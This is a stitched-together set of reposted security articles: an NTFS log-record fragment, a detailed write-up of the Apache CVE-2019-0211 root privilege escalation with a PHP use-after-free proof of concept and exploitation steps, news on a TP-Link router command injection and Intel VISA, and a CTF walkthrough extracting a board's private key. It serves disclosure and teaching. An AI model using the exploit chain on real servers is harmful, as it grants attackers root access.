A log record is an actual descriptor of a logged operation. A log record contains a redo type and data (can be empty), an undo type and data (can be empty too), a number of a target $MFT file record segment (for operations on resident attributes and on $MFT data in general), an index of a target attribute within the open attribute table (for operations on nonresident attributes), and several fields used to calculate an offset within a target.

Redo data is written when a transaction is committed, undo data is written when a transaction is rolled back (to bring things back to their previous state). There are some exceptions, however: when a nonresident attribute is opened, its open attribute record is stored as redo data and its Unicode name is stored as undo data.

Here is a full list of log operation types (as of Windows 10, build 18323):


Here is a decoded transaction used to rename a file (from “aaa.txt” to “bbb.txt”).

It should be noted that updates to some attributes can be recorded partially. For example, an update to the $STANDARD_INFORMATION attribute can record data starting from the M timestamp (and the C timestamp, which is stored before the M timestamp, will be absent in the redo/undo data).

The only thing left is the meaning of every log operation. Not today!

Update (2019-02-17):

How long does it take for old data to become overwritten with new data?

In one of my tests with Windows 10, it took 16 minutes. In another test with Windows 10, it took 5 hours and 20 minutes. In both tests, mouse movements were the only user activity.

CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation

Original text by cfreal




From version 2.4.17 (Oct 9, 2015) to version 2.4.38 (Apr 1, 2019), Apache HTTP suffers from a local root privilege escalation vulnerability due to an out-of-bounds array access leading to an arbitrary function call. The vulnerability is triggered when Apache gracefully restarts (apache2ctl graceful). In standard Linux configurations, the logrotate utility runs this command once a day, at 6:25AM, in order to reset log file handles.

The vulnerability affects mod_preforkmod_worker and mod_event. The following bug description, code walkthrough and exploit target mod_prefork.

Bug description

In MPM prefork, the main server process, running as root, manages a pool of single-threaded, low-privilege (www-data) worker processes, meant to handle HTTP requests. In order to get feedback from its workers, Apache maintains a shared-memory area (SHM), scoreboard, which contains various informations such as the workers PIDs and the last request they handled. Each worker is meant to maintain a process_score structure associated with its PID, and has full read/write access to the SHM.

ap_scoreboard_image: pointers to the shared memory block

(gdb) p *ap_scoreboard_image 
$3 = {
  global = 0x7f4a9323e008, 
  parent = 0x7f4a9323e020, 
  servers = 0x55835eddea78
(gdb) p ap_scoreboard_image->servers[0]
$5 = (worker_score *) 0x7f4a93240820

Example of shared memory associated with worker PID 19447

(gdb) p ap_scoreboard_image->parent[0]
$6 = {
  pid = 19447, 
  generation = 0, 
  quiescing = 0 '\000', 
  not_accepting = 0 '\000', 
  connections = 0, 
  write_completion = 0, 
  lingering_close = 0, 
  keep_alive = 0, 
  suspended = 0, 
  bucket = 0 <- index for all_buckets
(gdb) ptype *ap_scoreboard_image->parent
type = struct process_score {
    pid_t pid;
    ap_generation_t generation;
    char quiescing;
    char not_accepting;
    apr_uint32_t connections;
    apr_uint32_t write_completion;
    apr_uint32_t lingering_close;
    apr_uint32_t keep_alive;
    apr_uint32_t suspended;
    int bucket; <- index for all_buckets

When Apache gracefully restarts, its main process kills old workers and replaces them by new ones. At this point, every old worker’s bucket value will be used by the main process to access an array of his, all_buckets.


(gdb) p $index = ap_scoreboard_image->parent[0]->bucket
(gdb) p all_buckets[$index]
$7 = {
  pod = 0x7f19db2c7408, 
  listeners = 0x7f19db35e9d0, 
  mutex = 0x7f19db2c7550
(gdb) ptype all_buckets[$index]
type = struct prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex; <--
(gdb) ptype apr_proc_mutex_t
apr_proc_mutex_t {
    apr_pool_t *pool;
    const apr_proc_mutex_unix_lock_methods_t *meth; <--
    int curr_locked;
    char *fname;
(gdb) ptype apr_proc_mutex_unix_lock_methods_t
apr_proc_mutex_unix_lock_methods_t {
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--

No bound checks happen. Therefore, a rogue worker can change its bucket index and make it point to the shared memory, in order to control the prefork_child_bucket structure upon restart. Eventually, and before privileges are dropped, mutex->meth->child_init() is called. This results in an arbitrary function call as root.

Vulnerable code

We’ll go through server/mpm/prefork/prefork.c to find out where and how the bug happens.

  • A rogue worker changes its bucket index in shared memory to make it point to a structure of his, also in SHM.
  • At 06:25AM the next day, logrotate requests a graceful restart from Apache.
  • Upon this, the main Apache process will first kill workers, and then spawn new ones.
  • The killing is done by sending SIGUSR1 to workers. They are expected to exit ASAP.
  • Then, prefork_run() (L853) is called to spawn new workers. Since retained->mpm->was_graceful is true (L861), workers are not restarted straight away.
  • Instead, we enter the main loop (L933) and monitor dead workers’ PIDs. When an old worker dies, ap_wait_or_timeout() returns its PID (L940).
  • The index of the process_score structure associated with this PID is stored in child_slot (L948).
  • If the death of this worker was not fatal (L969), make_child() is called with ap_get_scoreboard_process(child_slot)->bucket as a third argument (L985). As previously said, bucket‘s value has been changed by a rogue worker.
  • make_child() creates a new child, fork()ing (L671) the main process.
  • The OOB read happens (L691), and my_bucket is therefore under the control of an attacker.
  • child_main() is called (L722), and the function call happens a bit further (L433).
  • SAFE_ACCEPT(<code>) will only execute <code> if Apache listens on two ports or more, which is often the case since a server listens over HTTP (80) and HTTPS (443).
  • Assuming <code> is executed, apr_proc_mutex_child_init() is called, which results in a call to (*mutex)->meth->child_init(mutex, pool, fname) with mutex under control.
  • Privileges are dropped a bit later in the execution (L446).


The exploitation is a four step process: 1. Obtain R/W access on a worker process 2. Write a fake prefork_child_bucket structure in the SHM 3. Make all_buckets[bucket] point to the structure 4. Await 6:25AM to get an arbitrary function call

Advantages: — The main process never exits, so we know where everything is mapped by reading /proc/self/maps(ASLR/PIE useless) — When a worker dies (or segfaults), it is automatically restarted by the main process, so there is no risk of DOSing Apache

Problems: — PHP does not allow to read/write /proc/self/mem, which blocks us from simply editing the SHM — all_buckets is reallocated after a graceful restart (!)

1. Obtain R/W access on a worker process

PHP UAF 0-day

Since mod_prefork is often used in combination with mod_php, it seems natural to exploit the vulnerability through PHP. CVE-2019-6977 would be a perfect candidate, but it was not out when I started writing the exploit. I went with a 0day UAF in PHP 7.x (which seems to work in PHP5.x as well):



class X extends DateInterval implements JsonSerializable
  public function jsonSerialize()
    global $y, $p;
    $p = $this->y;
    return $this;

function get_aslr()
  global $p, $y;
  $p = 0;

  $y = [new X('PT1S')];
  json_encode([1234 => &$y]);
  print("ADDRESS: 0x" . dechex($p) . "\n");

  return $p;


This is an UAF on a PHP object: we unset $y[0] (an instance of X), but it is still usable using $this.

UAF to Read/Write

We want to achieve two things: — Read memory to find all_buckets‘ address — Edit the SHM to change bucketindex and add our custom mutex structure

Luckily for us, PHP’s heap is located before those two in memory.

Memory addresses of PHP’s heap, ap_scoreboard_image->* and all_buckets

root@apaubuntu:~# cat /proc/6318/maps | grep libphp | grep rw-p
7f4a8f9f3000-7f4a8fa0a000 rw-p 00471000 08:02 542265 /usr/lib/apache2/modules/libphp7.2.so

(gdb) p *ap_scoreboard_image 
$14 = {
  global = 0x7f4a9323e008, 
  parent = 0x7f4a9323e020, 
  servers = 0x55835eddea78
(gdb) p all_buckets 
$15 = (prefork_child_bucket *) 0x7f4a9336b3f0

Since we’re triggering the UAF on a PHP object, any property of this object will be UAF’d too; we can convert this zend_object UAF into a zend_string one. This is useful because of zend_string‘s structure:

(gdb) ptype zend_string
type = struct _zend_string {
    zend_refcounted_h gc;
    zend_ulong h;
    size_t len;
    char val[1];

The len property contains the length of the string. By incrementing it, we can read and write further in memory, and therefore access the two memory regions we’re interested in: the SHM and Apache’s all_buckets.

Locating bucket indexes and all_buckets

We want to change ap_scoreboard_image->parent[worker_id]->bucket for a certain worker_id. Luckily, the structure always starts at the beginning of the shared memory block, so it is easy to locate.

Shared memory location and targeted process_score structures

root@apaubuntu:~# cat /proc/6318/maps | grep rw-s
7f4a9323e000-7f4a93252000 rw-s 00000000 00:05 57052                      /dev/zero (deleted)

(gdb) p &ap_scoreboard_image->parent[0]
$18 = (process_score *) 0x7f4a9323e020
(gdb) p &ap_scoreboard_image->parent[1]
$19 = (process_score *) 0x7f4a9323e044

To locate all_buckets, we can make use of our knowledge of the prefork_child_bucket structure. We have:

Important structures of bucket items

prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex; <--

apr_proc_mutex_t {
    apr_pool_t *pool;
    const apr_proc_mutex_unix_lock_methods_t *meth; <--
    int curr_locked;
    char *fname;


apr_proc_mutex_unix_lock_methods_t {
    unsigned int flags;
    apr_status_t (*create)(apr_proc_mutex_t *, const char *);
    apr_status_t (*acquire)(apr_proc_mutex_t *);
    apr_status_t (*tryacquire)(apr_proc_mutex_t *);
    apr_status_t (*release)(apr_proc_mutex_t *);
    apr_status_t (*cleanup)(void *);
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
    apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
    apr_lockmech_e mech;
    const char *name;

all_buckets[0]->mutex will be located in the same memory region as all_buckets[0]. Since meth is a static structure, it will be located in libapr‘s .data. Since meth points to functions defined in libapr, each of the function pointers will be located in libapr‘s .text.

Since we have knowledge of those region’s addresses through /proc/self/maps, we can go through every pointer in Apache’s memory and find one that matches the structure. It will be all_buckets[0].

As I mentioned, all_buckets‘s address changes at every graceful restart. This means that when our exploit triggers, all_buckets‘s address will be different than the one we found. This has to be taken into account; we’ll talk about this later.

2. Write a fake prefork_child_bucket structure in the SHM

Reaching the function call

The code path to the arbitrary function call is the following:

bucket_id = ap_scoreboard_image->parent[id]->bucket
my_bucket = all_buckets[bucket_id]
mutex = &my_bucket->mutex
(*mutex)->meth->child_init(mutex, pool, fname)

Calling something proper

To exploit, we make (*mutex)->meth->child_init point to zend_object_std_dtor(zend_object *object), which yields the following chain:

mutex = &my_bucket->mutex
[object = mutex]

zend_object_std_dtor(object) ht = object->properties zend_array_destroy(ht) zend_hash_destroy(ht) val = &ht->arData[0]->val ht->pDestructor(val)

pDestructor is set to system, and &ht->arData[0]->val is a string.


As you can see, both leftmost structures are superimposed.

3. Make all_buckets[bucket] point to the structure

Problem and solution

Right now, if all_buckets‘ address was unchanged in between restarts, our exploit would be over:

  • Get R/W over all memory after PHP’s heap
  • Find all_buckets by matching its structure
  • Put our structure in the SHM
  • Change one of the process_score.bucket in the SHM so that all_bucket[bucket]->mutex points to our payload

As all_buckets‘ address changes, we can do two things to improve reliability: spray the SHM and use every process_score structure — one for each PID.

Spraying the shared memory

If all_buckets‘ new address is not far from the old one, my_bucket will point close to our structure. Therefore, instead of having our prefork_child_bucket structure at a precise point in the SHM, we can spray it all over unused parts of the SHM. The problem is that the structure is also used as a zend_object, and therefore it has a size of (5 * 8 =) 40 bytes to include zend_object.properties. Spraying a structure that big over a space this small won’t help us much. To solve this problem, we superimpose the two center structures, apr_proc_mutex_t and zend_array, and spray their address in the rest of the shared memory. The impact will be that prefork_child_bucket.mutex and zend_object.properties point to the same address. Now, if all_bucketis relocated not too far from its original address, my_bucket will be in the sprayed area.


Using every process_score

Each Apache worker has an associated process_score structure, and with it a bucket index. Instead of changing one process_score.bucket value, we can change every one of them, so that they cover another part of memory. For instance:

ap_scoreboard_image->parent[0]->bucket = -10000 -> 0x7faabbcc00 <= all_buckets <= 0x7faabbdd00
ap_scoreboard_image->parent[1]->bucket = -20000 -> 0x7faabbdd00 <= all_buckets <= 0x7faabbff00
ap_scoreboard_image->parent[2]->bucket = -30000 -> 0x7faabbff00 <= all_buckets <= 0x7faabc0000

This multiplies our success rate by the number of apache workers. Upon respawn, only one worker have a valid bucket number, but this is not a problem because the others will crash, and immediately respawn.

Success rate

Different Apache servers have different number of workers. Having more workers mean we can spray the address of our mutex over less memory, but it also means we can specify more index for all_buckets. This means that having more workers improves our success rate. After a few tries on my test Apache server of 4 workers (default), I had ~80% success rate. The success rate jumps to ~100% with more workers.

Again, if the exploit fails, it can be restarted the next day as Apache will still restart properly. Apache’s error.logwill nevertheless contain notifications about its workers segfaulting.

4. Await 6:25AM for the exploit to trigger

Well, that’s the easy step.

Vulnerability timeline

  • 2019-02-22 Initial contact email to security[at]apache[dot]org, with description and POC
  • 2019-02-25 Acknowledgment of the vulnerability, working on a fix
  • 2019-03-07 Apache’s security team sends a patch for I to review, CVE assigned
  • 2019-03-10 I approve the patch
  • 2019-04-01 Apache HTTP version 2.4.39 released

Apache’s team has been prompt to respond and patch, and nice as hell. Really good experience. PHP never answered regarding the UAF.


Why the name ?

CARPE: stands for CVE-2019-0211 Apache Root Privilege Escalation
DIEM: the exploit triggers once a day

I had to.

Can the exploit be improved ?

Yes. For instance, my computations for the bucket indexes are shaky. This is between a POC and a proper exploit. BTW, I added tons of comments, it is meant to be educational as well.

Does this vulnerability target PHP ?

No. It targets the Apache HTTP server.


The exploit is available here.

TP-Link ‘smart’ router proves to be anything but smart – just like its maker: Zero-day vuln dropped after silence

Original text by Thomas Claburn

TP-Link’s all-in-one SR20 Smart Home Router allows arbitrary command execution from a local network connection, according to a Google security researcher.

On Wednesday, 90 days after he informed TP-Link of the issue and received no response, Matthew Garrett, a well-known Google security engineer and open-source contributor, disclosed a proof-of-concept exploit to demonstrate a vulnerability affecting TP-Link’s router.

The 38-line script shows that you can execute any command you choose on the device with root privileges, without authentication. The SR20 was announced in 2016.

Via Twitter, Garrett explained that TP-Link hardware often incorporates TDDP, the TP-Link Device Debug Protocol, which has had multiple vulnerabilities in the past. Among them, version 1 did not require a password.

«The SR20 still exposes some version 1 commands, one of which (command 0x1f, request 0x01) appears to be for some sort of configuration validation,» he said. «You send it a filename, a semicolon and then an argument.»

Once it receives the command, says Garrett, the router responds to the requesting machine via TFTP, asks for the filename, imports it to a Lua interpreter, running as root, and sends the argument to the config_test() function within the imported file.

The Lua os.execute() method passes a command to be executed by an operating system shell. And since the interpreter is running as root, Garret explains, you have arbitrary command execution.

However, while TDDP listens on all interfaces, the default firewall prevents network access, says Garrett. This makes the issue less of a concern that remote code execution flaws identified in TP-Link 1GbE VPN routers in November.

Even so, vulnerability to a local attack could be exploited if an attacker manages to get a malicious download onto a machine connected to an SR20 router.

TP-Link did not immediately respond to a request for comment.

Garrett concluded his disclosure by urging TP-Link to provide a way to report security flaws and not to ship debug daemons on production firmware.

Researchers discover and abuse new undocumented feature in Intel chipsets

Original text by Catalin Cimpanu

Researchers find new Intel VISA (Visualization of Internal Signals Architecture) debugging technology.

At the Black Hat Asia 2019 security conference, security researchers from Positive Technologies disclosed the existence of a previously unknown and undocumented feature in Intel chipsets.

Called Intel Visualization of Internal Signals Architecture (Intel VISA), Positive Technologies researchers Maxim Goryachy and Mark Ermolov said this is a new utility included in modern Intel chipsets to help with testing and debugging on manufacturing lines.

VISA is included with Platform Controller Hub (PCH) chipsets part of modern Intel CPUs and works like a full-fledged logic signal analyzer.

Image: Wikimedia Commons

According to the two researchers, VISA intercepts electronic signals sent from internal buses and peripherals (display, keyboard, and webcam) to the PCH —and later the main CPU.


Unauthorized access to the VISA feature would allow a threat actor to intercept data from the computer memory and create spyware that works at the lowest possible level.

But despite its extremely intrusive nature, very little is known about this new technology. Goryachy and Ermolov said VISA’s documentation is subject to a non-disclosure agreement, and not available to the general public.

Normally, this combination of secrecy and a secure default should keep Intel users safe from possible attacks and abuse.

However, the two researchers said they found several methods of enabling VISA and abusing it to sniff data that passes through the CPU, and even through the secretive Intel Management Engine (ME), which has been housed in the PCH since the release of the Nehalem processors and 5-Series chipsets.


Goryachy and Ermolov said their technique doesn’t require hardware modifications to a computer’s motherboard and no specific equipment to carry out.

The simplest method consists of using the vulnerabilities detailed in Intel’s Intel-SA-00086security advisory to take control of the Intel Management Engine and enable VISA that way.

«The Intel VISA issue, as discussed at BlackHat Asia, relies on physical access and a previously mitigated vulnerability addressed in INTEL-SA-00086 on November 20, 2017,» an Intel spokesperson told ZDNet yesterday.

«Customers who have applied those mitigations are protected from known vectors,» the company said.

However, in an online discussion after his Black Hat talk, Ermolov said the Intel-SA-00086 fixes are not enough, as Intel firmware can be downgraded to vulnerable versions where the attackers can take over Intel ME and later enable VISA.

Furthermore, Ermolov said that there are three other ways to enable Intel VISA, methods that will become public when Black Hat organizers will publish the duo’s presentation slides in the coming days.

As Ermolov said yesterday, VISA is not a vulnerability in Intel chipsets, but just another way in which a useful feature could be abused and turned against users. Chances that VISA will be abused are low. This is because if someone would go through the trouble of exploiting the Intel-SA-00086 vulnerabilities to take over Intel ME, then they’ll likely use that component to carry out their attacks, rather than rely on VISA.

As a side note, this is the second «manufacturing mode» feature Goryachy and Ermolov found in the past year. They also found that Apple accidentally shipped some laptops with Intel CPUs that were left in «manufacturing mode.»

Insomni’Hack 2019 CTF – Perfectly Unbreakable Flag – 500

Original text by Phil

Challenge description

To our surprise, we found out that our challenge from last year has been counterfeited by another CTF.
Since we must protect our flag business as much as we can, we invested in the most secure technology around : the cloud™®©.
Since each device is uniquely fingerprinted, we are confident that our unclonable devices will be safe from those french knockoffs.

More info :
- If the board fails to connect to the cloud, perform a hard reset (ie. disconnect it completely before rebooting it)
- The cloud endpoint used to get the flag is /flag, in case you need to guess it

And a .tgz is given, containing the 3 firmwares of the 3 available boards:

$ ls -l
total 1376
-rwxrwxrwx 1 root root 287536 mars 27 2019 board-2.bin
-rwxrwxrwx 1 root root 287536 mars 27 2019 board-3.bin
-rwxrwxrwx 1 root root 287536 mars 27 2019 board-4.bin
-rwxrwxrwx 1 root root 545222 mars 22 18:17 firmwares-d1bd1fcbfb1fdef7678608460ed96b16074aae3f43ed052ebcc3e2724d7efc27.tgz
$ sha256sum board-*
aadc9e62ba75bda60b1412d0514bae00a28f51636c1291590e70c217bcf25a2f board-2.bin
27e7b7d39566bbdbd109a56e50f546681770ef3fad261118d64e1319ff0d53e7 board-3.bin
32682457545043f8611078d43549cf4414f9f0bd29700c1f2c42ad80d5013229 board-4.bin

Understanding what to do

As this challenge looks not trivial at all, I’ve spent 15 minutes on understanding the goal and the path to achieve the job. All the 3 boards are in free access on a desk beside the organisation team.

Picture of the board number 2

When you power-up the device using the black USB cable, it start running and show the activity on the network connector. As this device is a development board, the left secable part is a ST-Link V2 ready to handle the right part of the board, composed of the main MCU and a few components. Connecting a PC to the USB port and running it with the official ST-Link utility give you this trace:

19:53:18 : ST-LINK SN : 0669FF494849887767175629
19:53:18 : ST-LINK Firmware version : V2J29M18
19:53:18 : Connected via SWD.
19:53:18 : SWD Frequency = 4,0 MHz.
19:53:18 : Connection mode : Connect Under Reset.
19:53:18 : Debug in Low Power mode enabled.
19:53:18 : Device ID:0x419
19:53:18 : Device family :STM32F42xxx/F43xxx
19:53:18 : Can not read memory!
Disable Read Out Protection and retry.

The MCU is protected, but the ST-link is non altered and can be used.

Now let’s see if the virtual COM port (VCP) is mapped by the ST-Link for debug purpose. Just start a terminal and RESET the board to have a look at the boot sequence:

Starting mbed-os-example-tls/tls-client
Using Mbed OS 5.11.5
Successfully connected to perfectlyunbreakable-cloud.insomni.hack at port 443
Starting the TLS handshake…
Successfully completed the TLS handshake
Server certificate:
cert. version : 1
serial number : 29:98:FB:FA:5B:65:0A:2D:15:E0:A4:BF:9B:06:6C:0B:1D:72:C8:8A
issuer name : C=CH, ST=Geneva, O=Insomni'hack
subject name : C=CH, ST=Geneva, O=Insomni'hack, CN=perfectlyunbreakable-cloud.insomni.hack
issued on : 2019-03-14 11:00:24
expires on : 2020-07-26 11:00:24
signed using : ECDSA with SHA256
EC key size : 256 bits

Certificate verification passed
Established TLS connection to perfectlyunbreakable-cloud.insomni.hack
HTTP: Received 175 chars from server
HTTP: Received '200 OK' status … OK
HTTP: Received message:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 22 Mar 2019 18:11:52 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 20
Connection: keep-alive

Cloud connection OK.


At this point, nothing other is possible over the serial port, impossible to send command to the board.

The next check is to try to connect with a regular PC from LAN of the CTF to the URL https://perfectlyunbreakable-cloud.insomni.hack/ and see what happened:

No way to connect to the « secure cloud »

To summarize: The goal is to connect to the https://perfectlyunbreakable-cloud.insomni.hack/flag URL. I can deduce that only the official boards can do it because they own a client side certificate in their flash. So, the only way to connect to /flag with a regular browser is to steal the private certificate key from the flash of the MCU and import it to the browser.

Let’s start the reverse

Check the difference between all the 3 firmwares

As the authors gives you the 3 binary firmwares from the 3 running board, this looks too simple to spot the certificate by this way, but let’s try it.

The client side public certificate change …
… and a few bytes too

The public certificate is the first difference, and the 32 bytes at offset 0x080437B0 is the second one. The second one is the most interesting because it should be the —–BEGIN PRIVATE KEY—– but it was not the case.

Let’s the long reverse start

Now it’s time to reverse the 281KB STM32 firmware file… And guess what, just to be sure to maximise the complexity of the task, let’s use a newcomer: Ghidra!

The tool worth a look and from my previous tests, the ARM-thumb decompiler was fine on all the examples I’ve tried.


Loading the firmware and giving at this first stage the correct description to Ghidra is mandatory. The STM32 used for the challenge is a STM32F42xxx/F43xxx (according to the previous ST-Link trace). Checking in the reference guide for the ARM level instruction will point you Cortex-M4. And if you dig more, you’ll find it’s an ARMv7E ISA. The mistake I’ve done is to select in Ghidra the ARM v7 little endian target. The correct one is Cortex (thanks Balda for the correction):

Set the correct target

And do not forget to set the base address of the firmware:

0x08000000 came from reference guide


Now we need to find the public and private key in the firmware. For the pub cert chain, it’s trivial, just need to look for strings « BEGIN CERTIFICATE »:



But now the complex things start: where the f*ck is the private key… At this point you have no choice to understand how the HTTPS connection is done to the server. The first and winning idea is to take back the serial log and try to identify the SDK used. At the beginning « Mbed OS 5.11.5 » explicitly give you the answer. Then, you need to dig more for guessing how the TLS is done.

The interesting part is :

Starting the TLS handshake…
Successfully completed the TLS handshake

After a few minutes digging with Google, this PAGE give you nearly the same trace I’ve obtain through the serial interface. From this sample code found in the SDK, you can find your way in the firmware:

SDK: allocating the object « HelloHttpsClient »
Decompiled version

As I’ve never pay attention on how to reverse some C++ code in an embedded target, I was stuck by the pointer added to a method without parameter in the original source code. Ghidra is doing a good job, but you need to understand that the pointer renamed here « complexStruct » is the pointer to the current memory segment of the instance of the object.

Then, digging more in the TLS part is needed. According to the SDK, using a client private certificate measn you need to call the function « mbedtls_ssl_conf_own_cert ». By searching in the strings I found « mbedtls_ssl_conf_own_cert() returned -0x%04X » and a XREF. This code is setting up the certificate pub/priv key pair:

Generation and setup of the private key

Now, it’s time to study the function genPrivateKey() and see how it works:

Computing the private key

The funniest part of the challenge is here. This code is nothing more than a bitwise AND with 2 offset in memory. One in flash, OK, but the other one in a non initialized SRAM zone! Now it’s time to have a look at the hint given during the CTF:

Fri Mar 22 2019, 22:20:22 [Perfectly Unbreakable Flag Hint]
The title acronym means something else in the hardware community!

« PUF » acronym. What? Google point THIS page. My friend dok tells me, « I know what it is, it’s something you can’t clone because it use some physical unpredictable parameter ». But in the current case the PUF function is the SRAM at boot. 64 bytes are used as the private key. But, as there is some flipping bits in those 64 bytes during the powerup sequence, another 64 bytes table is used as mask for keeping only the stables states bits, and remove the flipping one. This tech needs to boot a huge number of time the board to monitor the states of the 8×64 bits and only keep the stable one. That’s a REALLY GOOD TRIX!


Now I need to dump the content of the SRAM3, forgotten during the first dump  . It’s quite easy, even with the protection fuse set. You just need to connect your PC, run the ST-Link utility and press « connect », then on the target hit RESET and at the very first moment of the boot you can dump the whole SRAM zone. Even if the debug port is closed.

With the memory dump and the flash dump, here is the code who compute and display the private key:

import base64
sram = "\x09\xE6\xF1\x20\x32\xE2\x38\xDD\xCF\x29\x27\x7F\x6F\xEB\x76\x34\x40\xC4\x44\xDC\xCA\xCD\x3B\x87\x0B\xAB\xE1\xB8\xE8\x80\x7B\x9B\x3B\xAA\xD5\x04\x61\xCA\xA2\x91\x66\x32\x49\xDF\xE5\x42\x98\xF5\x98\xB2\x37\x7E\x7E\xEB\xFD\x2E\xAB\xC1\x9F\x5A\xC0\xE3\xFF\xD9"
flash = "\x59\x3D\x32\xFE\x47\xA5\x4A\x85\x88\x35\x4E\x27\x63\x49\x37\xB6\xFF\x1B\xBE\xC2\xCE\x63\x95\xAB\x30\x3F\x77\x9D\x59\xD3\xE2\x75\xDD\xFF\x1E\x03\x2E\xF1\xEE\xE1\x52\xE8\xAA\x8B\x0E\x9D\xFA\xEA\x4E\x3D\x79\x0C\xD7\xEB\xBD\x7E\x73\x35\x9E\x5B\xBE\x5D\x42\xD7"
res = []
for x in range(len(sram)) :
res.append( ord(sram[x]) & ord(flash[x]) )
print("Private key = ",res)

python3 decode.py
Private key = [9, 36, 48, 32, 2, 160, 8, 133, 136, 33, 6, 39, 99, 73, 54, 52, 64, 0, 4, 192, 202, 65, 17, 131, 0, 43, 97, 152, 72, 128, 98, 17, 25, 170, 20, 0, 32, 192, 162, 129, 66, 32, 8, 139, 4, 0, 152, 224, 8, 48, 49, 12, 86, 235, 189, 46, 35, 1, 158, 90, 128, 65, 66, 209]

At this point it was 3H56. My first think was « shit, it miss me 10 minutes to generate the private key and solve the challenge ».


As it’s always a big deception to not finish a challenge in time, I continue at home to solve it. But I was wrong. It was far more complex to finish the reverse until the flag, and the 10 minutes changed to another 4 hours of job.

After obtaining the bits from SRAM who doesn’t flip, you need to reverse this:

Unknown hash function

And the funny stuff is for example:

no way to understand what’s running here…

This one doesn’t decompile, and the ASM view is not so clear. My guess is this an interrupt hook to an external crypto-engine who run in a few cycles a cryptographic function.

To help identifying the function, I’ve download an official TLS library from Mbed: mbedtls-2.16.0-apache.tgz. With this reference source code, the unknown function can be commented and is a little bit more readable:

a clean SHA256 code

If you think it’s trivial now, your right but with the solution on the eyes it’s more easy, believe me  . So the unknown part of the private key become:

import base64
import hashlib
from array import array

sram = "\x09\xE6\xF1\x20\x32\xE2\x38\xDD\xCF\x29\x27\x7F\x6F\xEB\x76\x34\x40\xC4\x44\xDC\xCA\xCD\x3B\x87\x0B\xAB\xE1\xB8\xE8\x80\x7B\x9B\x3B\xAA\xD5\x04\x61\xCA\xA2\x91\x66\x32\x49\xDF\xE5\x42\x98\xF5\x98\xB2\x37\x7E\x7E\xEB\xFD\x2E\xAB\xC1\x9F\x5A\xC0\xE3\xFF\xD9"
flash = "\x59\x3D\x32\xFE\x47\xA5\x4A\x85\x88\x35\x4E\x27\x63\x49\x37\xB6\xFF\x1B\xBE\xC2\xCE\x63\x95\xAB\x30\x3F\x77\x9D\x59\xD3\xE2\x75\xDD\xFF\x1E\x03\x2E\xF1\xEE\xE1\x52\xE8\xAA\x8B\x0E\x9D\xFA\xEA\x4E\x3D\x79\x0C\xD7\xEB\xBD\x7E\x73\x35\x9E\x5B\xBE\x5D\x42\xD7"

res = []

for x in range(len(sram)) :
res.append( chr(ord(sram[x]) & ord(flash[x])) )
res = array('B', map(ord,res)).tostring()

print("Private key = ",res)
print("sha256 = " , hashlib.sha256(res).hexdigest())

$ python decode.py
Private key = b"\t$0 \x02\xa0\x08\x85\x88!\x06'cI64@\x00\x04\xc0\xcaA\x11\x83\x00+a\x98H\x80b\x11\x19\xaa\x14\x00 \xc0\xa2\x81B \x08\x8b\x04\x00\x98\xe0\x0801\x0cV\xeb\xbd.#\x01\x9eZ\x80AB\xd1"
sha256 = 8e140886f96ef269e736cb1fe24ea12627df6971f32d6c15b6cbc2810af19382

Fake the board and grab the flag

Now it’s time to start a little bit of crypto. EDIT: no, not a little! I have something looking like the private key and the full chain of certificate. I need to craft a correct certificate, so I can deploy it and visit the /flag URL. If you wonder how I can do that after the CTF you’re right: I have asked to the creators of the challenge the Docker files to run it here and finish the work.

First, craft the private key. For this one you need to generate the ECC correct private + public key file in .pem format. I never found a regular way working because of a lack of knowledge in certificate / keys manipulation. Thanks to Sylvain for correct my silly Python code. The use an enhanced Python crypto lib is needed, I’ve used Pycryptodome.

$ pip install pycryptodome

$ cat genKey.py
from Crypto.PublicKey import ECC

e=ECC.construct(curve="prime256v1", d=0x8e140886f96ef269e736cb1fe24ea12627df6971f32d6c15b6cbc2810af19382)

print e.export_key(format="PEM")

$ python2 genKey.py > privateKey.pem
$ cat privateKey.pem

Now you need to concatenate the 2 public certificates found in the flash of the board in a file called « chain.pem ». And finally generate a single file with all the stuff to import it on a regular browser:

$ openssl pkcs12 -inkey privateKey.pem -in chain.pem -export -out personnal.pfx

$ openssl pkcs12 -info -in personnal.pfx
Enter Import Password:
MAC: sha1, Iteration 2048
MAC length: 20, salt length: 8
PKCS7 Encrypted data: pbeWithSHA1And40BitRC2-CBC, Iteration 2048
Certificate bag
Bag Attributes
localKeyID: 95 5D 33 B2 38 0B 4C CE FC 46 DD 1C 55 17 63 45 5A 7A 17 82
subject=C = CH, ST = Geneva, O = Insomni'hack, CN = board-2.insomni.hack
issuer=C = CH, ST = Geneva, O = Insomni'hack
Certificate bag
Bag Attributes:
subject=C = CH, ST = Geneva, O = Insomni'hack
issuer=C = CH, ST = Geneva, O = Insomni'hack
PKCS7 Data
Shrouded Keybag: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 2048
Bag Attributes
localKeyID: 95 5D 33 B2 38 0B 4C CE FC 46 DD 1C 55 17 63 45 5A 7A 17 82
Key Attributes:
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:

One fuckin’ thing to know: if you don’t set a password to your .pfx file, Firefox will fail silently to import it.

Another funny thing: at this point you don’t know if there is more computing on the 32 bytes used for generate the private key. The firmware is so huge, you can’t check all functions between the last key manipulation and the TCP_connect to the HTTPS port. You just need to try and pray…

Now you just need to connect to the super-secure cloud with the fake credz:

The extracted certificate roxx !!!

And now you just need to grab the flag:

The flag, hum

No, not exactly the flag …

Finish him


I was wondering the needs to this last step, who’ve made lost the flag to Marius (@nSinusR) from Tasteless (@TeamTasteless). Yes, Marius arrived during the CTF at this point at 3h55. It’s the difference between skilled teams and amateurs  . As we have access to the boards, we have the firmware, it would have been possible to patch the board to connect directly to the url https://perfectlyunbreakable-cloud.insomni.hack/flag instead of https://perfectlyunbreakable-cloud.insomni.hackduring the boot sequence. So the last step involve the private key you’ve used for generate the certificate as a proof of work. To remove the AES-CBC I’ve used Openssl:

